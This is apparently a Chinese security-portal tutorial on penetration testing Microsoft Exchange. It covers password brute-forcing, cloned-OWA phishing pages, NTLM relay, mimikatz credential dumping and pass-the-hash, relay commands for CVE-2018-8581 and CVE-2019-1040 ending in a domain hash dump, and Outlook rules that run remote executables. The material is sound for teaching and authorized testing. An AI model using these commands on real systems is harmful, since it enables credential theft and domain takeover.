freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

Exchange渗透测试总结
2019-08-16 10:48:51

本期安仔课堂,ISEC实验室的唐老师将为大家介绍Exchange相关知识点,欢迎感兴趣的朋友一起交流学习。

 

一 、Exchange概述

Exchange是微软出品的邮件服务器系统,凭借其强大的功能优势被应用到很多企业、学校的邮件系统搭建中

 

截至目前,Exchange已有多个成熟版本,例如:Exchange Server 2010、2013、2016及最新版本2019。此外,Exchange又可分为Exchange Server和Exchange Online ,为了方便,本文将主要以本地Exchange Server 2010为例进行演示

 

二、组成

首先,让我们一起了解下Exchange的结构组成。目前最新版本Exchange主要包含两个角色,分别是邮箱服务器角色和边缘传输服务器角色

2.1邮箱服务器角色

1.包含用于路由邮件的传输服务;

2.包含处理、呈现和存储数据的邮箱数据库;

3.包含接受所有协议客户端连接的客户端访问服务;

http

RPC over HTTP

MAPI over HTTP

pop3

imap4

um呼叫

4.包含向邮箱提供语音邮件和其他电话服务功能的统一消息(UM)服务。

 

2.2边缘传输服务器角色

1.处理Exchange组织的所有外部邮件流;

2.通常安装在外围网络中,可订阅内部Exchange组织。当Exchange组织接收和发送邮件时,EdgeSync同步进程会向边缘传输服务器提供收件人信息和其他配置信息。

image.png

图1

 

其中,渗透测试人员最为关心Exchange对外提供的访问接口,以及使用的加密验证类型

 

三、邮件访问形式

通过上面的介绍,我们可以了解Exchange Server支持的协议。接下来,我们学习如何通过对应客户端访问这些协议

3.1相关接口

1.outlook客户端(MAPI协议)

2.outlook web app(以web形式访问 https://域名或ip/owa)

3.POP3和IMAP4(可以通过POP3协议利用其他客户端)

 

以下为目前默认的部分前端虚拟目录,可用于识别Exchange服务、密码枚举、或权限维持

1.API(2016以后版本有效)

2.ecp Exchange(管理中心web形式访问https://域名或ip/ecp)

3.EWS(Exchange Web Services)

4.Autodiscover 

5.MAPI

6.Microsoft-Server-ActiveSync

7.OAB(web形式访问https://域名或ip/oab)

8.owa

9.PowerShell

10.Rpc 

image.png

图2

 

四、密码枚举

在无任意内网权限、用户账号权限时,可尝试对已知账号进行密码枚举

 

密码枚举可以利用的接口:

1.Autodiscover(401认证NTLM Authenticate)

2.OWA(post表单)

3.EWS(401认证NTLM Authenticate)

4.Microsoft-Server-ActiveSync(401认证+base64)

 

结合部分社工手段可获取已知账号,如搜索intext:*@xxxx.com。

 

其中比较好用的一款Exchange密码枚举工具

image.png

图3

 

安装 

image.png

图4

 

以ruler密码枚举模块为例进行演示。ruler是针对Exchange的半自动利用工具,其Brute功能使用率较高,主要通过Autodiscover接口进行密码枚举。

 

准备用户名、密码字典:user.txt、pass.txt。 

image.png

图5

 

以上为理想状态的测试情况,实际情况下需要足够多的账户密码,避免因过多尝试而冻结,还可通过控制-delay参数,或burp进行密码枚举。

 

五、邮箱社工测试

5.1通过钓鱼获取账户密码

为了提升员工安全意识,在渗透测试时,往往还会被要求做邮件钓鱼测试。钓鱼邮件内容不限,可以自由发挥,如复制owa界面制作钓鱼页面等。

 

尝试伪造发件人,发送钓鱼邮件。

image.png

图6

 

在被测试的用户点击链接时提示会话超时,需重新登入。

image.png

图7

 

制作相同登入口,后端保存用户登入信息。 

image.png

图8

 

针对这种钓鱼活动,很多环节都可以进行优化,如界面、提示、邮件语气等,这些都是决定测试成功率的重要因素

 

5.2升级版钓鱼测试

5.1方式可能对谨慎用户无效,我们可以结合内网权限进行钓鱼测试

 

这里我们使用到一款工具: 

image.png

图9

 

该工具可实现中继ntlm协议,允许用户完成基于http的ntlm接口认证,并利用ews接口获取数据。其核心功能源于impacket框架。 

image.png

图10

 

大家有兴趣的可以自行研究。

 

首先我们尝试访问ews接口,系统提示401 NTLM Authenticate验证,我们现在要做的就是利用已经登入系统的其他用户权限直接通过这个验证

image.png

图11

 

构造邮件,引用已被控制的内网机器文件,或超链接。

image.png

图12

 

邮件原始内容

image.png

图13

 

在获取内网的机器上运行我们的ExchangeRelayX

image.png

图14

 

等待目标用户查看邮件,以下引用图片会在Exchange上产生提示。

image.png

图15

 

并且使用chrome浏览器时,加载该形式的资源会被阻止。 

image.png

图16

 

使用IE浏览器,测试成功。

image.png

图17

 

当该图片加载,或者用户点击我们的超链接后,我们就能获取net-ntlm并绕过401认证。

image.png

图18

 

ExchangeRelayX web控制台

image.png

图19

 

验证通过后直接调用ews接口,由于实验环境Exchange版本问题,利用ExchangeRelayX封装好的请求会加上sp2导致报错,因此这里以发送原始xml的形式进行演示

 

获取收件箱soap请求 

image.png

图20

 

邮箱渗透测试成功,我们获取到邮件内容信息。

image.png

图21

 

本文仅提供绕过验证的思路,对ews接口感兴趣的朋友可以到微软官方进行学习。

 

5.3抓取ad明文或hash登入

这种方式较为常见,在已获取域控制权限的情况下,可直接通过mimikatz抓取需要登入Exchange的明文,登入owa实现邮件读取等操作。

mimikatz.exe privilege::debug sekurlsa::logonPasswords full

image.png

图22

 

未抓取到明文,可通过获取的ntlm-hash计算出ntlm挑战值来通过验证,或者利用mimikatz将ntlm hash更新到内存中。

mimikatz.exe privilege::debug "sekurlsa::pth /user:xxx /domain:xxx /ntlm:xxxxxxxxxxxxxxxxxxxxxxx"

更新后在dir \\10.0.0.127\1.jpg下就又可以利用上面讲到的ExchangeRelayX来读取操作,或者利用MailSniper。

image.png

图23

 

查看当前用户 

image.png

图24

 

更新指定的ntlm-hash到内存

image.png

图25

 

发送net-ntlm到ExchangeRelayX

 image.png

图26

 

通过ews接口认证

image.png

图27

 

5.4劫持获取账号密码

5.4.1 利用js劫持owa登入口

已获取域控权限或Exchange Server权限,便可直接修改登入口,利用js劫持点击事件。该形式较为简单,这边不做过多介绍。

 

5.4.2 劫持ad

这种形式可通过插件劫持域控实现,具体大家可以参考以下项目:

image.png

图28

 

安装方法如下:

image.png

图29

 

六、邮件服务器的其他测试

对邮件服务器的渗透测试,还有一些其他工具,如邮件内容或通讯录。同比手动登入owa等操作更为高效。

image.png

图30

 

6.1通讯录测试 

image.png

图31

 

 测试成功 

image.png

图32

 

6.2文件夹测试

image.png

图33

 

 测试成功

image.png

图34

 

6.3其他测试

获取当前用户包含pass关键字的邮件

image.png

图35

 

七、CVE-2018-8581

漏洞利用

这个漏洞利用一个可以正常登入的普通用户账户,通过ssrf调用Exchange Server凭证到已控制的内网服务器上,并默认Exchange Server权限较高,就达到了提权的目的

 

我们需要借助一款工具

image.png

图36

 

 操作如下:

image.png

图37

 

拷贝privexchange.py到impacket的examples,已经获取的可以登入邮箱用户test,利用ntlmrelayx.py建立中继

ntlmrelayx.py -t ldap://10.0.0.158 --escalate-user test

发起ssrf的攻击测试

python privexchange.py -ah 10.0.0.127 -u test -d test.com 10.0.0.237

其中ah指定中继的主机,后面指定exchange的域名或者IP。

image.png

图38

 

收到回调信息

image.png

图39

 

测试成功便会收到exchange server带凭证的请求,利用该权限即可提升test用户实现控制域

image.png

图40

 

最后我们可以导出域控的hash

python  secretsdump.py test.com/test@10.0.0.158  -just-dc

image.png

图41

 

八、Rules利用

通过上述手段我们可以获取exchange 相关权限,若我们想对每个账号的使用人进行横向控制,便可利用Rules and Alerts给指定账号创建规则,若客户端使用out look,将允许其下次登入时执行这些规则,从而获取使用者pc权限

 

使用工具创建规则,运行远程文件执行,相关参数参考如下: 

image.png

图42

 

 创建规则,触发关键字为shelltest。 

image.png

图43

 

创建成功后需使用指定关键字进行触发。我们可以给邮箱发送包含关键字的邮件主题,触发执行1.exe,如使用ruler发送带关键字的邮件。

image.png

图44

 

九、CVE-2019-1040

利用

在这个漏洞之前利用smb转ldap时,有个mic检查导致无法中转成功,但利用这个CVE-2019-1040漏洞就实现了直接绕过mic检查,这是这个漏洞的关键点。利用方法类似2018-8581的形式。

 

更新我们的impacket

gti pull https://github.com/SecureAuthCorp/impacket

ntlmrelayx.py  --remove-mic -t ldap://10.0.0.158 --escalate-user test   -smb2support

 

触发SpoolService的bug产生smb回连工具

https://github.com/dirkjanm/krbrelayx/blob/master/printerbug.py

 

其他等同2018-8581部分

 

两个漏洞的区别

2018-8581是利用exchange漏洞产生http->ldap中转实现的提权,2019-1040是产生的smb->ldap中转,并且绕过mic检查。

 

以上关于exchange渗透测试知识点的总结,欢迎感兴趣的朋友一起交流沟通。

 

十、参考链接

image.png

图45

本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者